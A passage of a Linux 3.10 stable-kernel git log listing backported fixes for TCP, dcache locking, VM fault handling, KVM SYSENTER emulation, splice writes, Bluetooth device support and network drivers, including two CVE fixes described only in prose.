on this thread, as memory allocator did its best getting extra memory already. This patch reverts d22e15371811 ("tcp: fix tcp fin memory accounting") Fixes: d22e15371811 ("tcp: fix tcp fin memory accounting") Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2d020ac5886893da207936e89172fa473c1db3e6 Author: Sebastian Pöhn Date: Mon Apr 20 09:19:20 2015 +0200 ip_forward: Drop frames with attached skb->sk [ Upstream commit 2ab957492d13bb819400ac29ae55911d50a82a13 ] Initial discussion was: [FYI] xfrm: Don't lookup sk_policy for timewait sockets Forwarded frames should not have a socket attached. Especially tw sockets will lead to panics later-on in the stack. This was observed with TPROXY assigning a tw socket and broken policy routing (misconfigured). As a result frame enters forwarding path instead of input. We cannot solve this in TPROXY as it cannot know that policy routing is broken. v2: Remove useless comment Signed-off-by: Sebastian Poehn Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3eb62b75c3b9ec2363915c60d71bbbb42e6c579d Author: Greg Kroah-Hartman Date: Wed Apr 29 10:34:22 2015 +0200 Linux 3.10.76 Signed-off-by: Pranav Vashi commit 4fb54f4f2daa105b635f1e52e82f8187937cdc83 Author: Ben Hutchings Date: Wed Feb 11 03:16:35 2015 +0000 dcache: Fix locking bugs in backported "deal with deadlock in d_walk()" commit 20defcec264ceab2630356fb9d397f3d237b5e6d upstream in 3.2-stable Steven Rostedt reported: > Porting -rt to the latest 3.2 stable tree I triggered this bug: > > ===================================== > [ BUG: bad unlock balance detected! ] > ------------------------------------- > rm/1638 is trying to release lock (rcu_read_lock) at: > [] rcu_read_unlock+0x0/0x23 > but there are no more locks to release! > > other info that might help us debug this: > 2 locks held by rm/1638: > #0: (&sb->s_type->i_mutex_key#9/1){+.+.+.}, at: [] do_rmdir+0x5f/0xd2 > #1: (&sb->s_type->i_mutex_key#9){+.+.+.}, at: [] vfs_rmdir+0x49/0xac > > stack backtrace: > Pid: 1638, comm: rm Not tainted 3.2.66-test-rt96+ #2 > Call Trace: > [] ? printk+0x1d/0x1f > [] print_unlock_inbalance_bug+0xc3/0xcd > [] lock_release_non_nested+0x98/0x1ec > [] ? trace_hardirqs_off_caller+0x18/0x90 > [] ? local_clock+0x2d/0x50 > [] ? d_hash+0x2f/0x2f > [] ? d_hash+0x2f/0x2f > [] lock_release+0x192/0x1ad > [] rcu_read_unlock+0x17/0x23 > [] shrink_dcache_parent+0x227/0x270 > [] vfs_rmdir+0x68/0xac > [] do_rmdir+0x98/0xd2 > [] ? fput+0x1a3/0x1ab > [] ? sysenter_exit+0xf/0x1a > [] ? trace_hardirqs_on_caller+0x118/0x149 > [] sys_unlinkat+0x2b/0x35 > [] sysenter_do_call+0x12/0x12 > > > > > There's a path to calling rcu_read_unlock() without calling > rcu_read_lock() in have_submounts(). > > goto positive; > > positive: > if (!locked && read_seqretry(&rename_lock, seq)) > goto rename_retry; > > rename_retry: > rcu_read_unlock(); > > in the above path, rcu_read_lock() is never done before calling > rcu_read_unlock(); I reviewed locking contexts in all three functions that I changed when backporting "deal with deadlock in d_walk()". It's actually worse than this: - We don't hold this_parent->d_lock at the 'positive' label in have_submounts(), but it is unlocked after 'rename_retry'. - There is an rcu_read_unlock() after the 'out' label in select_parent(), but it's not held at the 'goto out'. Fix all three lock imbalances. Reported-by: Steven Rostedt Signed-off-by: Ben Hutchings Tested-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit be02e7c76ef7a4822204478cb2ad2294ec1c910b Author: Guenter Roeck Date: Thu Jan 29 19:15:33 2015 -0800 arc: mm: Fix build failure commit e262eb9381ad51b5de7a9e762ee773bbd25ce650 upstream. Fix misspelled define. Fixes: 33692f27597f ("vm: add VM_FAULT_SIGSEGV handling support") Signed-off-by: Guenter Roeck Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7c23305a77f93d43293c58153fc17c89e1d508e7 Author: Seth Jennings Date: Fri Sep 5 14:28:47 2014 -0500 sb_edac: avoid INTERNAL ERROR message in EDAC with unspecified channel commit 351fc4a99d49fde63fe5ab7412beb35c40d27269 upstream. Intel IA32 SDM Table 15-14 defines channel 0xf as 'not specified', but EDAC doesn't know about this and returns and INTERNAL ERROR when the channel is greater than NUM_CHANNELS: kernel: [ 1538.886456] CPU 0: Machine Check Exception: 0 Bank 1: 940000000000009f kernel: [ 1538.886669] TSC 2bc68b22e7e812 ADDR 46dae7000 MISC 0 PROCESSOR 0:306e4 TIME 1390414572 SOCKET 0 APIC 0 kernel: [ 1538.971948] EDAC MC1: INTERNAL ERROR: channel value is out of range (15 >= 4) kernel: [ 1538.972203] EDAC MC1: 0 CE memory read error on unknown memory (slot:0 page:0x46dae7 offset:0x0 grain:0 syndrome:0x0 - area:DRAM err_code:0000:009f socket:1 channel_mask:1 rank:0) This commit changes sb_edac to forward a channel of -1 to EDAC if the channel is not specified. edac_mc_handle_error() sets the channel to -1 internally after the error message anyway, so this commit should have no effect other than avoiding the INTERNAL ERROR message when the channel is not specified. Signed-off-by: Seth Jennings Signed-off-by: Mauro Carvalho Chehab Cc: Vinson Lee Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b03e8f9a0bbdc15d8eeb0b06f621e9429569e67e Author: Linus Torvalds Date: Mon Dec 15 14:46:06 2014 -0800 x86: mm: move mmap_sem unlock from mm_fault_error() to caller commit 7fb08eca45270d0ae86e1ad9d39c40b7a55d0190 upstream. This replaces four copies in various stages of mm_fault_error() handling with just a single one. It will also allow for more natural placement of the unlocking after some further cleanup. Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d9d378f7c836abdf4358b94d631f810c2af3fded Author: Linus Torvalds Date: Thu Jan 29 11:15:17 2015 -0800 vm: make stack guard page errors return VM_FAULT_SIGSEGV rather than SIGBUS commit 9c145c56d0c8a0b62e48c8d71e055ad0fb2012ba upstream. The stack guard page error case has long incorrectly caused a SIGBUS rather than a SIGSEGV, but nobody actually noticed until commit fee7e49d4514 ("mm: propagate error from stack expansion even for guard page") because that error case was never actually triggered in any normal situations. Now that we actually report the error, people noticed the wrong signal that resulted. So far, only the test suite of libsigsegv seems to have actually cared, but there are real applications that use libsigsegv, so let's not wait for any of those to break. Reported-and-tested-by: Takashi Iwai Tested-by: Jan Engelhardt Acked-by: Heiko Carstens # "s390 still compiles and boots" Cc: linux-arch@vger.kernel.org Cc: stable@vger.kernel.org Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 766ef27386a2062f56262f83019e02a480fc482c Author: Linus Torvalds Date: Thu Jan 29 10:51:32 2015 -0800 vm: add VM_FAULT_SIGSEGV handling support commit 33692f27597fcab536d7cbbcc8f52905133e4aa7 upstream. The core VM already knows about VM_FAULT_SIGBUS, but cannot return a "you should SIGSEGV" error, because the SIGSEGV case was generally handled by the caller - usually the architecture fault handler. That results in lots of duplication - all the architecture fault handlers end up doing very similar "look up vma, check permissions, do retries etc" - but it generally works. However, there are cases where the VM actually wants to SIGSEGV, and applications _expect_ SIGSEGV. In particular, when accessing the stack guard page, libsigsegv expects a SIGSEGV. And it usually got one, because the stack growth is handled by that duplicated architecture fault handler. However, when the generic VM layer started propagating the error return from the stack expansion in commit fee7e49d4514 ("mm: propagate error from stack expansion even for guard page"), that now exposed the existing VM_FAULT_SIGBUS result to user space. And user space really expected SIGSEGV, not SIGBUS. To fix that case, we need to add a VM_FAULT_SIGSEGV, and teach all those duplicate architecture fault handlers about it. They all already have the code to handle SIGSEGV, so it's about just tying that new return value to the existing code, but it's all a bit annoying. This is the mindless minimal patch to do this. A more extensive patch would be to try to gather up the mostly shared fault handling logic into one generic helper routine, and long-term we really should do that cleanup. Just from this patch, you can generally see that most architectures just copied (directly or indirectly) the old x86 way of doing things, but in the meantime that original x86 model has been improved to hold the VM semaphore for shorter times etc and to handle VM_FAULT_RETRY and other "newer" things, so it would be a good idea to bring all those improvements to the generic case and teach other architectures about them too. Reported-and-tested-by: Takashi Iwai Tested-by: Jan Engelhardt Acked-by: Heiko Carstens # "s390 still compiles and boots" Cc: linux-arch@vger.kernel.org Signed-off-by: Linus Torvalds [shengyong: Backport to 3.10 - adjust context - ignore modification for arch nios2, because 3.10 does not support it - ignore modification for driver lustre, because 3.10 does not support it - ignore VM_FAULT_FALLBACK in VM_FAULT_ERROR, becase 3.10 does not support this flag - add SIGSEGV handling to powerpc/cell spu_fault.c, because 3.10 does not separate it to copro_fault.c - add SIGSEGV handling in mm/memory.c, because 3.10 does not separate it to gup.c ] Signed-off-by: Sheng Yong Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1b6d48266766fabafc2065a5dfc1dce7c1ac4039 Author: Al Viro Date: Sun Oct 26 19:31:10 2014 -0400 deal with deadlock in d_walk() commit ca5358ef75fc69fee5322a38a340f5739d997c10 upstream. ... by not hitting rename_retry for reasons other than rename having happened. In other words, do _not_ restart when finding that between unlocking the child and locking the parent the former got into __dentry_kill(). Skip the killed siblings instead... Signed-off-by: Al Viro Cc: Ben Hutchings [hujianyang: Backported to 3.10 refer to the work of Ben Hutchings in 3.2: - As we only have try_to_ascend() and not d_walk(), apply this change to all callers of try_to_ascend() - Adjust context to make __dentry_kill() apply to d_kill()] Signed-off-by: hujianyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 42317db41803947f1dc839cf10e91beaf92f539e Author: Al Viro Date: Sun Oct 26 19:19:16 2014 -0400 move d_rcu from overlapping d_child to overlapping d_alias commit 946e51f2bf37f1656916eb75bd0742ba33983c28 upstream. Signed-off-by: Al Viro Cc: Ben Hutchings [hujianyang: Backported to 3.10 refer to the work of Ben Hutchings in 3.2: - Apply name changes in all the different places we use d_alias and d_child - Move the WARN_ON() in __d_free() to d_free() as we don't have dentry_free()] Signed-off-by: hujianyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c2c635620dbe8885387f6368117f0ec8f9845994 Author: Nadav Amit Date: Thu Jan 1 23:11:11 2015 +0200 KVM: x86: SYSENTER emulation is broken commit f3747379accba8e95d70cec0eae0582c8c182050 upstream. SYSENTER emulation is broken in several ways: 1. It misses the case of 16-bit code segments completely (CVE-2015-0239). 2. MSR_IA32_SYSENTER_CS is checked in 64-bit mode incorrectly (bits 0 and 1 can still be set without causing #GP). 3. MSR_IA32_SYSENTER_EIP and MSR_IA32_SYSENTER_ESP are not masked in legacy-mode. 4. There is some unneeded code. Fix it. Signed-off-by: Nadav Amit Signed-off-by: Paolo Bonzini [zhangzhiqiang: backport to 3.10: - adjust context - in 3.10 context "ctxt->eflags &= ~(EFLG_VM | EFLG_IF | EFLG_RF)" is replaced by "ctxt->eflags &= ~(EFLG_VM | EFLG_IF)" in upstream, which was changed by another commit. - After the above adjustments, becomes same to the original patch: https://github.com/torvalds/linux/commit/f3747379accba8e95d70cec0eae0582c8c182050 ] Signed-off-by: Zhiqiang Zhang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 01c449ef1b288f85c5f7421eb4dd80b654736b8f Author: Marcel Holtmann Date: Sun Jul 6 14:53:55 2014 +0200 Bluetooth: Ignore isochronous endpoints for Intel USB bootloader commit d92f2df0565ea04101d6ac04bdc10feeb1d93c94 upstream. The isochronous endpoints are not valid when the Intel Bluetooth controller boots up in bootloader mode. So just mark these endpoints as broken and then they will not be configured. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 06cada47bc853f61f14c28287147de15304a7fa8 Author: Marcel Holtmann Date: Sun Jul 6 13:29:58 2014 +0200 Bluetooth: Add support for Intel bootloader devices commit 40df783d1ef1989ac454e3dfcda017270b8950e6 upstream. Intel Bluetooth devices that boot up in bootloader mode can not be used as generic HCI devices, but their HCI transport is still valuable and so bring that up as raw-only devices. T: Bus=02 Lev=02 Prnt=03 Port=00 Cnt=01 Dev#= 14 Spd=12 MxCh= 0 D: Ver= 1.10 Cls=ff(vend.) Sub=00 Prot=00 MxPS=64 #Cfgs= 1 P: Vendor=8087 ProdID=0a5a Rev= 0.00 S: Manufacturer=Intel(R) Corporation S: Product=Intel(R) Wilkins Peak 2x2 S: SerialNumber=001122334455 WP_A0 C:* #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA I:* If#= 0 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=(none) E: Ad=81(I) Atr=03(Int.) MxPS= 64 Ivl=1ms E: Ad=02(O) Atr=02(Bulk) MxPS= 64 Ivl=0ms E: Ad=82(I) Atr=02(Bulk) MxPS= 64 Ivl=0ms I:* If#= 1 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=00 Prot=00 Driver=(none) E: Ad=03(O) Atr=01(Isoc) MxPS= 0 Ivl=1ms E: Ad=83(I) Atr=01(Isoc) MxPS= 0 Ivl=1ms I: If#= 1 Alt= 1 #EPs= 2 Cls=ff(vend.) Sub=00 Prot=00 Driver=(none) E: Ad=03(O) Atr=01(Isoc) MxPS= 9 Ivl=1ms E: Ad=83(I) Atr=01(Isoc) MxPS= 9 Ivl=1ms I: If#= 1 Alt= 2 #EPs= 2 Cls=ff(vend.) Sub=00 Prot=00 Driver=(none) E: Ad=03(O) Atr=01(Isoc) MxPS= 17 Ivl=1ms E: Ad=83(I) Atr=01(Isoc) MxPS= 17 Ivl=1ms I: If#= 1 Alt= 3 #EPs= 2 Cls=ff(vend.) Sub=00 Prot=00 Driver=(none) E: Ad=03(O) Atr=01(Isoc) MxPS= 25 Ivl=1ms E: Ad=83(I) Atr=01(Isoc) MxPS= 25 Ivl=1ms I: If#= 1 Alt= 4 #EPs= 2 Cls=ff(vend.) Sub=00 Prot=00 Driver=(none) E: Ad=03(O) Atr=01(Isoc) MxPS= 33 Ivl=1ms E: Ad=83(I) Atr=01(Isoc) MxPS= 33 Ivl=1ms I: If#= 1 Alt= 5 #EPs= 2 Cls=ff(vend.) Sub=00 Prot=00 Driver=(none) E: Ad=03(O) Atr=01(Isoc) MxPS= 49 Ivl=1ms E: Ad=83(I) Atr=01(Isoc) MxPS= 49 Ivl=1ms Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg [bwh: Backported to 3.14: adjust context] Signed-off-by: Johan Hedberg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b0b6a9cf325385886491bfe29197885e8b4420cd Author: Jurgen Kramer Date: Sat Feb 15 12:01:09 2014 +0100 Bluetooth: btusb: Add IMC Networks (Broadcom based) commit 9113bfd82dc8ece9cbb898df8794f58a78a36e97 upstream. Add support for IMC Networks (Broadcom based) to btusb driver. Below the output of /sys/kernel/debug/usb/devices for this device: T: Bus=01 Lev=02 Prnt=02 Port=04 Cnt=01 Dev#= 3 Spd=12 MxCh= 0 D: Ver= 2.00 Cls=ff(vend.) Sub=01 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=13d3 ProdID=3404 Rev= 1.12 S: Manufacturer=Broadcom Corp S: Product=BCM20702A0 S: SerialNumber=240A649F8246 C:* #Ifs= 4 Cfg#= 1 Atr=e0 MxPwr= 0mA I:* If#= 0 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=01 Prot=01 Driver=btusb E: Ad=81(I) Atr=03(Int.) MxPS= 16 Ivl=1ms E: Ad=82(I) Atr=02(Bulk) MxPS= 64 Ivl=0ms E: Ad=02(O) Atr=02(Bulk) MxPS= 64 Ivl=0ms I:* If#= 1 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 0 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 0 Ivl=1ms I: If#= 1 Alt= 1 #EPs= 2 Cls=ff(vend.) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 9 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 9 Ivl=1ms I: If#= 1 Alt= 2 #EPs= 2 Cls=ff(vend.) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 17 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 17 Ivl=1ms I: If#= 1 Alt= 3 #EPs= 2 Cls=ff(vend.) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 25 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 25 Ivl=1ms I: If#= 1 Alt= 4 #EPs= 2 Cls=ff(vend.) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 33 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 33 Ivl=1ms I: If#= 1 Alt= 5 #EPs= 2 Cls=ff(vend.) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 49 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 49 Ivl=1ms I:* If#= 2 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=(none) E: Ad=84(I) Atr=02(Bulk) MxPS= 32 Ivl=0ms E: Ad=04(O) Atr=02(Bulk) MxPS= 32 Ivl=0ms I:* If#= 3 Alt= 0 #EPs= 0 Cls=fe(app. ) Sub=01 Prot=01 Driver=(none) Signed-off-by: Jurgen Kramer Signed-off-by: Marcel Holtmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 399accacf4dc6aef1ce524b2d2664470954b8f04 Author: Oliver Neukum Date: Thu Jan 16 16:02:58 2014 +0100 Bluetooth: Add firmware update for Atheros 0cf3:311f commit 1e56f1eb2bbeab0ddc3a1e536d2a0065cfe4c131 upstream. The device is not functional without firmware. The device without firmware: T: Bus=02 Lev=02 Prnt=02 Port=05 Cnt=01 Dev#= 3 Spd=12 MxCh= 0 D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=0cf3 ProdID=311f Rev=00.01 C: #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA I: If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb I: If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb The device with firmware: T: Bus=02 Lev=02 Prnt=02 Port=05 Cnt=01 Dev#= 4 Spd=12 MxCh= 0 D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=0cf3 ProdID=3007 Rev=00.01 C: #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA I: If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb I: If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb Signed-off-by: Oliver Neukum Signed-off-by: Marcel Holtmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c3c476b9ca3cea9a8f7a90320a003102cde54f89 Author: Oliver Neukum Date: Thu Jan 16 15:37:11 2014 +0100 Bluetooth: Enable Atheros 0cf3:311e for firmware upload commit b131237ca3995edad9efc162d0bc959c3b1dddc2 upstream. The device will bind to btusb without firmware, but with the original buggy firmware device discovery does not work. No devices are detected. Device descriptor without firmware: T: Bus=03 Lev=01 Prnt=01 Port=02 Cnt=01 Dev#= 2 Spd=12 MxCh= 0 D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=0cf3 ProdID=311e Rev= 0.01 C:* #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA I:* If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=81(I) Atr=03(Int.) MxPS= 16 Ivl=1ms E: Ad=82(I) Atr=02(Bulk) MxPS= 64 Ivl=0ms E: Ad=02(O) Atr=02(Bulk) MxPS= 64 Ivl=0ms I:* If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 0 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 0 Ivl=1ms I: If#= 1 Alt= 1 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 9 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 9 Ivl=1ms I: If#= 1 Alt= 2 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 17 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 17 Ivl=1ms I: If#= 1 Alt= 3 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 25 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 25 Ivl=1ms I: If#= 1 Alt= 4 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 33 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 33 Ivl=1ms I: If#= 1 Alt= 5 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 49 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 49 Ivl=1ms with firmware: T: Bus=03 Lev=01 Prnt=01 Port=02 Cnt=01 Dev#= 3 Spd=12 MxCh= 0 D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=0cf3 ProdID=311e Rev= 0.02 C:* #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA I:* If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=81(I) Atr=03(Int.) MxPS= 16 Ivl=1ms E: Ad=82(I) Atr=02(Bulk) MxPS= 64 Ivl=0ms E: Ad=02(O) Atr=02(Bulk) MxPS= 64 Ivl=0ms I:* If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 0 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 0 Ivl=1ms I: If#= 1 Alt= 1 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 9 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 9 Ivl=1ms I: If#= 1 Alt= 2 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 17 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 17 Ivl=1ms I: If#= 1 Alt= 3 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 25 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 25 Ivl=1ms I: If#= 1 Alt= 4 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 33 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 33 Ivl=1ms I: If#= 1 Alt= 5 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 49 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 49 Ivl=1ms Signed-off-by: Oliver Neukum Signed-off-by: Marcel Holtmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5c6eefde23f77762386e9b203cf4e70e01041271 Author: Ben Hutchings Date: Thu Jan 29 02:50:33 2015 +0000 splice: Apply generic position and size checks to each write commit 894c6350eaad7e613ae267504014a456e00a3e2a from the 3.2-stable branch. We need to check the position and size of file writes against various limits, using generic_write_check(). This was not being done for the splice write path. It was fixed upstream by commit 8d0207652cbe ("->splice_write() via ->write_iter()") but we can't apply that. CVE-2014-7822 Signed-off-by: Ben Hutchings [Ben fixed it in 3.2 stable, i ported it to 3.10 stable] Signed-off-by: Zhang Zhen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c814e02342f2cc907d6fedb101de168ee983b609 Author: Dave Kleikamp Date: Mon Mar 23 16:06:26 2015 -0500 jfs: fix readdir regression Upstream commit 44512449, "jfs: fix readdir cookie incompatibility with NFSv4", was backported incorrectly into the stable trees which used the filldir callback (rather than dir_emit). The position is being incorrectly passed to filldir for the . and .. entries. The still-maintained stable trees that need to be fixed are 3.2.y, 3.4.y and 3.10.y. https://bugzilla.kernel.org/show_bug.cgi?id=94741 Signed-off-by: Dave Kleikamp Cc: jfs-discussion@lists.sourceforge.net Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5e6871b16501ea98f9c0e23d921213a25ea1b8b1 Author: Peter Hurley Date: Wed Mar 11 09:19:16 2015 -0400 serial: 8250_dw: Fix deadlock in LCR workaround commit 7fd6f640f2dd17dac6ddd6702c378cb0bb9cfa11 upstream. Trying to write console output from within the serial console driver while the port->lock is held causes recursive deadlock: CPU 0 spin_lock_irqsave(&port->lock) printk() console_unlock() call_console_drivers() serial8250_console_write() spin_lock_irqsave(&port->lock) ** DEADLOCK ** The 8250_dw i/o accessors try to write a console error message if the LCR workaround was unsuccessful. When the port->lock is already held (eg., when called from serial8250_set_termios()), this deadlocks. Make the error message a FIXME until a general solution is devised. Cc: Tim Kryger Reported-by: Zhang Zhen Signed-off-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ea862e2d001bf9cbc964139cdeb7f270246cfdef Author: Eric W. Biederman Date: Tue Mar 11 14:19:50 2014 -0700 benet: Call dev_kfree_skby_any instead of kfree_skb. Replace free_skb with dev_kfree_skb_any in be_tx_compl_process as which can be called in hard irq by netpoll, softirq context by normal napi polling, and in normal sleepable context by the network device close method. Signed-off-by: "Eric W. Biederman" Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e20d6f79b23253376419d9c0fc266131b58fbee2 Author: Eric W. Biederman Date: Tue Mar 11 14:18:42 2014 -0700 ixgb: Call dev_kfree_skby_any instead of dev_kfree_skb. Replace dev_kfree_skb with dev_kfree_skb_any in functions that can be called in hard irq and other contexts. Signed-off-by: "Eric W. Biederman" Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 98dbc621f93c09515698dfcd82f17274f40f30e9 Author: Eric W. Biederman Date: Tue Mar 11 14:18:14 2014 -0700 tg3: Call dev_kfree_skby_any instead of dev_kfree_skb. Replace dev_kfree_skb with dev_kfree_skb_any in functions that can be called in hard irq and other contexts. Signed-off-by: "Eric W. Biederman" Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4d2db231a907d2c5d312cc22d4c4b8b826e7e6a1 Author: Eric W. Biederman Date: Tue Mar 11 14:17:41 2014 -0700 bnx2: Call dev_kfree_skby_any instead of dev_kfree_skb. Replace dev_kfree_skb with dev_kfree_skb_any in functions that can be called in hard irq and other contexts. Signed-off-by: "Eric W. Biederman" Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ae87b0fa756b6448694c9c5acd362d71f04c973a Author: Eric W. Biederman Date: Tue Mar 11 14:16:14 2014 -0700 r8169: Call dev_kfree_skby_any instead of dev_kfree_skb. Replace dev_kfree_skb with dev_kfree_skb_any in functions that can be called in hard irq and other contexts. Signed-off-by: "Eric W. Biederman" Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e92b75be8f53272aaf797f96fb62e9a3c8001a0d Author: Eric W. Biederman Date: Tue Mar 11 14:15:36 2014 -0700 8139too: Call dev_kfree_skby_any instead of dev_kfree_skb. Replace dev_kfree_skb with dev_kfree_skb_any in functions that can be called in hard irq and other contexts. Signed-off-by: "Eric W. Biederman" Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f489eee65cd2d1cf97a0ecf789b53c95046c5ad3 Author: Eric W. Biederman Date: Tue Mar 11 14:14:58 2014 -0700 8139cp: Call dev_kfree_skby_any instead of kfree_skb. Replace kfree_skb with dev_kfree_skb_any in cp_start_xmit as it can be called in both hard irq and other contexts. Signed-off-by: "Eric W. Biederman" Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0f615652aba8313b49d0856226c5722be4bad43b Author: Eric Dumazet Date: Thu Apr 9 13:31:56 2015 -0700 tcp: tcp_make_synack() should clear skb->tstamp [ Upstream commit b50edd7812852d989f2ef09dcfc729690f54a42d ] I noticed tcpdump was giving funky timestamps for locally generated SYNACK messages on loopback interface. 11:42:46.938990 IP 127.0.0.1.48245 > 127.0.0.2.23850: S 945476042:945476042(0) win 43690 20:28:58.502209 IP 127.0.0.2.23850 > 127.0.0.1.48245: S 3160535375:3160535375(0) ack 945476043 win 43690 This is because we need to clear skb->tstamp before entering lower stack, otherwise net_timestamp_check() does not set skb->tstamp. Fixes: 7faee5c0d514 